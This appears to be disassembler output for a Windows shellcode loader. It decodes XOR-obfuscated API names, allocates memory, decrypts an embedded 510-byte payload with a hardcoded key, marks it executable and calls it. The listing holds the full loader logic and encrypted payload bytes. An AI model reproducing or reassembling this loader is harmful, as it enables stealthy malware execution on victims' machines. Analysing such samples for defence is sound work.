Function at 0x140001040
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
movups xmm0, xmmword [str.Secur3K3y12_35_]
mov eax, dword [0x140022028]
xor ebx, ebx
movups xmm1, xmmword [str.chiavesicurissimaindecifrabile]
mov dword [rbp + 0x178], eax
movzx eax, word [0x14002202c]
movups xmmword [rsp + 0x20], xmm0
mov word [rbp + 0x17c], ax
movsd xmm0, qword [0x140022020]
movzx eax, byte [0x14002202e]
movsd qword [rbp + 0x170], xmm0
mov byte [rbp + 0x17e], al
mov dword [rbp + 0x1b0], ebx
movups xmmword [rbp + 0x160], xmm1
mov dword [rsp + 0x60], 0x85ea209f
mov dword [rsp + 0x64], 0x69bf8d86
mov dword [rsp + 0x68], 0x38337563
mov dword [rsp + 0x6c], 0x253b2332
mov dword [rsp + 0x70], 0x13fbb50
mov dword [rsp + 0x74], 0x63be82d
mov dword [rsp + 0x78], 0x7130ea3a
mov dword [rsp + 0x7c], 0x4831ee24
mov dword [rbp - 0x80], 0xd279293f
mov dword [rbp - 0x7c], 0xfe2b2339
mov dword [rbp - 0x78], 0x423e3900
mov dword [rbp - 0x74], 0xa95025a0
mov dword [rbp - 0x70], 0x1f0458c2
mov dword [rbp - 0x6c], 0x20524a6b
mov dword [rbp - 0x68], 0x2461a0a3
mov dword [rbp - 0x64], 0x8c8ba962
mov dword [rbp - 0x60], 0x21222424
mov dword [rbp - 0x5c], 0xe25227e8
mov dword [rbp - 0x58], 0x6c214f31
mov dword [rbp - 0x54], 0x1cef0fb1
mov dword [rbp - 0x50], 0x696b687d
mov dword [rbp - 0x4c], 0x696213f7
mov dword [rbp - 0x48], 0xe0e3ee6c
mov dword [rbp - 0x44], 0x2d766169
mov dword [rbp - 0x40], 0x1217a9f6
mov dword [rbp - 0x3c], 0x23a3683a
mov dword [rbp - 0x38], 0x2d7925e2
mov dword [rbp - 0x34], 0x2a4524e5
mov dword [rbp - 0x30], 0x3791b668
mov dword [rbp - 0x2c], 0x2da5582f
mov dword [rbp - 0x28], 0xea28a19c
mov dword [rbp - 0x24], 0x683bed42
mov dword [rbp - 0x20], 0xa9433db5
mov dword [rbp - 0x1c], 0xa4a832df
mov dword [rbp - 0x18], 0xa56f286c
mov dword [rbp - 0x14], 0x971c835d
mov dword [rbp - 0x10], 0x4d2e623e
mov dword [rbp - 0xc], 0xb95a2064
mov dword [rbp - 8], 0x212eb91c
mov dword [rbp - 4], 0x3c4729f8
mov dword [rbp], 0x3215b973
mov dword [rbp + 4], 0x2d2961e2
mov dword [rbp + 8], 0x2a7924e5
mov dword [rbp + 0xc], 0xea33b668
mov dword [rbp + 0x10], 0x6424e166
mov dword [rbp + 0x14], 0x203129b3
mov dword [rbp + 0x18], 0x332a3b2e
mov dword [rbp + 0x1c], 0x30332d22
mov dword [rbp + 0x20], 0xee212932
mov dword [rbp + 0x24], 0x362f498d
mov dword [rbp + 0x28], 0x2731839a
mov dword [rbp + 0x2c], 0xe22a3b2b
mov dword [rbp + 0x30], 0x97288c7e
mov dword [rbp + 0x34], 0x2c2b9e96
mov dword [rbp + 0x38], 0x47101ecd
mov dword [rbp + 0x3c], 0x73415a2d
mov dword [rbp + 0x40], 0x20372c69
mov dword [rbp + 0x44], 0xe22d82e7
mov dword [rbp + 0x48], 0x6173c685
mov dword [rbp + 0x4c], 0x80e52062
mov dword [rbp + 0x50], 0x616bd42a
mov dword [rbp + 0x54], 0xc1b33967
mov dword [rbp + 0x58], 0x3d332962
mov dword [rbp + 0x5c], 0x218dfa3a
mov dword [rbp + 0x60], 0xde2f98e8
mov dword [rbp + 0x64], 0x614f1429
mov dword [rbp + 0x68], 0xe02eb48d
mov dword [rbp + 0x6c], 0x69620d86
lea r9, [rsp + 0x31]
mov dword [rbp + 0x70], 0x242f6169
mov r10d, ebx
mov dword [rbp + 0x74], 0x1ee340c9
movabs r12, 0x8888888888888889
mov dword [rbp + 0x78], 0x19a69672
mov dword [rbp + 0x7c], 0x393f2c63
mov dword [rbp + 0x80], 0xaa54293e
mov dword [rbp + 0x84], 0x29b25724
mov dword [rbp + 0x88], 0xec24a99d
mov dword [rbp + 0x8c], 0xa19620a1
mov dword [rbp + 0x90], 0x28b2ec3e
mov dword [rbp + 0x94], 0xb67d9fd9
mov dword [rbp + 0x98], 0x25bc8c93
mov dword [rbp + 0x9c], 0x7404aee8
mov dword [rbp + 0xa0], 0xef253b24
mov dword [rbp + 0xa4], 0x90eb2990
mov dword [rbp + 0xa8], 0xcdfadf2d
mov dword [rbp + 0xac], 0xb089001d
mov dword [rbp + 0xb0], 0x7f17a9f6
mov dword [rbp + 0xb4], 0x6bd963b
mov dword [rbp + 0xb8], 0x69f2858c
mov dword [rbp + 0xbc], 0xe02d646e
mov dword [rbp + 0xc0], 0xe83a7685
mov dword [rbp + 0xc4], 0xac5d2480
mov dword [rbp + 0xc8], 0x39286c09
mov dword [rbp + 0xcc], 0x288aec3e
mov dword [rbp + 0xd0], 0xa1ab77d9
mov dword [rbp + 0xd4], 0xeebc8c2c
mov dword [rbp + 0xd8], 0x31106999
mov dword [rbp + 0xdc], 0x46ade02d
mov dword [rbp + 0xe0], 0x394e82c
mov dword [rbp + 0xe4], 0x3a242c
mov dword [rbp + 0xe8], 0x65767169
mov dword [rbp + 0xec], 0xfc2b3132
mov dword [rbp + 0xf0], 0xba422180
mov dword [rbp + 0xf4], 0xcd39d728
mov dword [rbp + 0xf8], 0xb69a813d
mov dword [rbp + 0xfc], 0x28b1ef21
mov dword [rbp + 0x100], 0x5421aeeb
mov dword [rbp + 0x104], 0x91e021aa
mov dword [rbp + 0x108], 0x21a9ec3e
mov dword [rbp + 0x10c], 0xd3338cea
mov dword [rbp + 0x110], 0x32a1aa71
mov dword [rbp + 0x114], 0x9cedbc9e
mov dword [rbp + 0x118], 0x3e411e65
mov dword [rbp + 0x11c], 0x13b3633
mov dword [rbp + 0x120], 0x6863256c
mov dword [rbp + 0x124], 0x651c3928
mov dword [rbp + 0x128], 0x7ed92829
mov dword [rbp + 0x12c], 0x8c43665d
mov dword [rbp + 0x130], 0x28383abc
mov dword [rbp + 0x134], 0x2e0b11d4
mov dword [rbp + 0x138], 0x28a79908
mov dword [rbp + 0x13c], 0x5985a79d
mov dword [rbp + 0x140], 0x2996979c
mov dword [rbp + 0x144], 0x403ba677
mov dword [rbp + 0x148], 0x9ff73da5
mov dword [rbp + 0x14c], 0x9228c706
mov dword [rbp + 0x150], 0x64043186
mov dword [rbp + 0x154], 0xa4ae2a3c
mov dword [rbp + 0x158], 0x3fc0d482
mov word [rbp + 0x15c], 0xb093
mov dword [rsp + 0x50], 0x380f1101
mov dword [rsp + 0x54], 0x7e2e451d
mov dword [rsp + 0x58], 0x325d5c1c
mov word [rsp + 0x5c], 0x354a
mov dword [rsp + 0x30], 0x1110c05
mov dword [rsp + 0x34], 0x72275207
mov dword [rsp + 0x38], 0x235d5d15
mov byte [rsp + 0x3c], 0x33
mov dword [rsp + 0x40], 0x1110c05
mov dword [rsp + 0x44], 0x63275207
mov dword [rsp + 0x48], 0x25465e0b
mov word [rsp + 0x4c], 0x4150
mov byte [rsp + 0x4e], 0x25
nop dword [rax + rax]
movsxd r8, r10d
mov rax, r12
mul r8
mov rcx, r8
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 1]
xor byte [r9 - 1], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 2]
xor byte [r9], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 3]
xor byte [r9 + 1], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 4]
xor byte [r9 + 2], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 5]
xor byte [r9 + 3], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 6]
xor byte [r9 + 4], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 7]
xor byte [r9 + 5], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 8]
xor byte [r9 + 6], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 9]
xor byte [r9 + 7], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor byte [r9 + 8], al
lea rcx, [r8 + 0xa]
mov rax, r12
mul rcx
add r10d, 0xd
lea r9, [r9 + 0xd]
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xb]
xor byte [r9 - 4], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xc]
xor byte [r9 - 3], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor byte [r9 - 2], al
cmp r10d, 0xd
jb 0x140001560
mov r10d, ebx
lea r9, [rsp + 0x41]
nop dword [rax]
nop word [rax + rax]
movsxd r8, r10d
mov rax, r12
mul r8
mov rcx, r8
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 1]
xor byte [r9 - 1], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 2]
xor byte [r9], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 3]
xor byte [r9 + 1], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 4]
xor byte [r9 + 2], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 5]
xor byte [r9 + 3], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 6]
xor byte [r9 + 4], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 7]
xor byte [r9 + 5], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 8]
xor byte [r9 + 6], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 9]
xor byte [r9 + 7], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor byte [r9 + 8], al
lea rcx, [r8 + 0xa]
mov rax, r12
mul rcx
add r10d, 0xf
lea r9, [r9 + 0xf]
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xb]
xor byte [r9 - 6], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xc]
xor byte [r9 - 5], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xd]
xor byte [r9 - 4], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xe]
xor byte [r9 - 3], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor byte [r9 - 2], al
cmp r10d, 0xf
jb 0x140001710
mov r10d, ebx
lea r9, [rsp + 0x51]
nop dword [rax]
movsxd r8, r10d
mov rax, r12
mul r8
mov rcx, r8
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 1]
xor byte [r9 - 1], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 2]
xor byte [r9], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 3]
xor byte [r9 + 1], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 4]
xor byte [r9 + 2], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 5]
xor byte [r9 + 3], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 6]
xor byte [r9 + 4], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 7]
xor byte [r9 + 5], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 8]
xor byte [r9 + 6], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 9]
xor byte [r9 + 7], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor byte [r9 + 8], al
lea rcx, [r8 + 0xa]
mov rax, r12
mul rcx
add r10d, 0xe
lea r9, [r9 + 0xe]
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xb]
xor byte [r9 - 5], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xc]
xor byte [r9 - 4], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
lea rcx, [r8 + 0xd]
xor byte [r9 - 3], al
mov rax, r12
mul rcx
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor byte [r9 - 2], al
cmp r10d, 0xe
jb 0x1400018f0
lea rcx, [0x140022030]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Ntdll.dll
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdi, [rsp + 0x60]
mov esi, 0x1fe
nop dword [rax + rax]
movzx edx, byte [rdi]
lea rcx, str.0x_02x
call fcn.140001cf0
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x140001b10
lea rdx, [rsp + 0x30]
lea rcx, str._n_s_n
call fcn.140001cf0
lea rdx, [rsp + 0x40]
lea rcx, [0x140022070]
call fcn.140001cf0
mov edx, 0x1fe
lea r9d, [rsi + 4]
xor ecx, ecx
mov r8d, 0x3000
call r14
lea r8, [rsp + 0x60]
mov rdi, rax
lea rdx, str.payload_addr
lea rcx, [0x140022088]
call fcn.140001cf0
mov r8, rdi
lea rdx, str.exec_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.140001cf0
mov rdx, rdi
lea rcx, [rsp + 0x60]
lea r8d, [rsi + 3]
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub r8, 1
jne 0x140001ba0
movups xmm0, xmmword [rcx]
mov r8, rdi
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov rax, qword [rcx + 0x70]
mov qword [rdx + 0x70], rax
mov eax, dword [rcx + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, word [rcx + 0x7c]
mov word [rdx + 0x7c], ax
nop dword [rax]
nop word [rax + rax]
movsxd rcx, ebx
lea r8, [r8 + 1]
mov rax, r12
inc ebx
mul rcx
shr rdx, 4
imul rax, rdx, 0x1e
sub rcx, rax
movzx eax, byte [rbp + rcx + 0x160]
xor byte [r8 - 1], al
cmp ebx, 0x1fe
jb 0x140001c50
lea r9, [rbp + 0x1b0]
mov edx, 0x1fe
mov r8d, 0x20
mov rcx, rdi
call r15
mov edx, eax
lea rcx, [0x1400220c4]
mov ebx, eax
call fcn.140001cf0
test ebx, ebx
je 0x140001cb8
lea rcx, str.DENTRO_IL_THREAD_n
call fcn.140001cf0
call rdi
lea r11, [rsp + 0x280]
xor eax, eax
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret